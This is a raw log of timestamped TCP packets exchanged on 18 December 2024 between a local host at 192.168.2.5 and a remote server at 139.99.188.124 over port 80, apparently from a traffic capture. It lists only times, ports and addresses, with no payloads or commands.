Dec 18, 2024 09:13:22.212589979 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.212681055 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.212757111 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.213443995 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.213560104 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.213618040 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.214337111 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.214437008 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.214585066 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.217444897 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.217509985 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.217530966 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.217546940 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.217561960 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.217577934 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.217605114 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.217637062 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.217858076 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.217936039 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.218539000 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.219187021 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.219350100 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.219492912 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.220114946 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.220271111 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.220452070 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.220752001 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.220870018 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.221473932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.221554041 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.221627951 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.221673965 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.222246885 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.277137995 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.368282080 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.368362904 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.368654966 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.368679047 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.368773937 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.369003057 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.369539976 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.369642973 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.369872093 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.370423079 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.370522976 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.371262074 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.371371984 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.371423960 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.372185946 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.372281075 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.372332096 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.373008966 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.373117924 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.373171091 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.373922110 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.374030113 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.374078989 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.374747038 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.374988079 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.375603914 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.375722885 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.375787973 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.376477957 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.376534939 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.376584053 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.377386093 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.377907038 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.377952099 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.378222942 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.378333092 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.378372908 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.379154921 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.379338026 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.379951000 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.380001068 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.380055904 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.380201101 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.380819082 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.380897045 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.381680965 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.381805897 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.381861925 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.382554054 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.382671118 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.383464098 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.383527994 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.383553028 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.384295940 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.384345055 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.384396076 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.385140896 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.385185003 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.385310888 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.386184931 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.386229038 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.386286020 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.386565924 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.386897087 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.387006998 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.387052059 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.387768030 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.387911081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.387959957 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.388605118 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.388725042 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.388771057 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.389482975 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.389607906 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.389651060 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.390348911 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.390505075 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.390549898 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.391295910 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.391408920 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.392086029 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.392148972 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.392296076 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.392962933 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.393019915 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.393220901 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.393810987 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.393871069 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.393939018 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.394088984 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.394702911 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.394819021 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.395562887 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.395690918 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.395749092 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.396425962 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.396542072 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.396591902 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.397293091 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.397442102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.397499084 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.398149967 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.398266077 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.398313999 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.399009943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.399115086 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.399885893 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.399935961 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.399991035 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.400765896 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.400813103 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.400855064 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.401624918 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.401675940 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.401720047 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.402488947 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.402540922 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.402582884 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.402625084 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.403345108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.403481960 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.403539896 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.404249907 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.404356956 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.404414892 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.405076027 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.405200005 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.405253887 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.405942917 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.406070948 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.406121016 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.406833887 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.406944036 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.407737970 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.407814026 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.407871008 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.408545971 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.408670902 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.408721924 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.409429073 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.409540892 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.409590960 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.410310984 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.410422087 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.411151886 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.411221981 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.411258936 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.412013054 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.412058115 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.412178040 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.412894964 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.412940025 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.412986994 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.413786888 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.413829088 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.559526920 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.559567928 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.559881926 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.559945107 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.559961081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.560327053 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.560762882 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.560915947 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.561589003 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.561745882 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.561800003 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.562474012 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.562597036 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.563329935 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.563381910 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.563510895 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.564214945 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.564263105 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.564336061 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.565078974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.565123081 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.565181971 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.565745115 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.565933943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.566054106 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.566098928 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.566787958 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.566869974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.567670107 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.567717075 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.567760944 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.568367004 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.568533897 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.568654060 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.569403887 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.569504976 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.569549084 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.570295095 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.570394993 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.570467949 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.571141005 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.571228027 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.571306944 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.572015047 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.572194099 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.572248936 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.572871923 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.572988987 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.573035955 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.573829889 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.573961973 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.574140072 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.574618101 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.574682951 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.574886084 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.575565100 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.575579882 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.575660944 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.576356888 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.576443911 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.576488018 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.577307940 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.577441931 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.577486038 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.578141928 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.578214884 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.578263044 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.578990936 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.579191923 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.579344988 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.579863071 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.579988956 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.580174923 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.580708981 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.580826044 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.580878019 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.581532955 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.581690073 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.581731081 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.582428932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.582549095 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.582591057 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.583283901 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.583400011 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.584182024 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.584238052 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.584250927 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.584546089 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.585002899 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.585151911 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.585268021 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.585894108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.586000919 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.586046934 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.586756945 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.586872101 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.586915016 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.587616920 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.587737083 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.588494062 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.588551998 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.588614941 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.589365959 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.589415073 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.589471102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.590167999 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.590233088 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.590328932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.590372086 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.591083050 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.591186047 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.591227055 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.591960907 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.592086077 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.592123985 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.592833996 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.592951059 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.593687057 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.593740940 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.593776941 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.594460011 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.594572067 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.594664097 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.594703913 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.595418930 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.595525980 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.595565081 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.596295118 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.596411943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.596687078 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.597168922 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.597296953 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.598041058 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.598164082 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.598198891 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.598902941 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.599011898 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.599776983 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.599838018 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.599915028 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.600033045 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.600624084 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.600737095 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.601537943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.601665974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.601716042 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.602379084 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.602503061 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.602551937 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.603238106 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.603343010 CET	80	49729	139.99.188.124	192.168.2.5
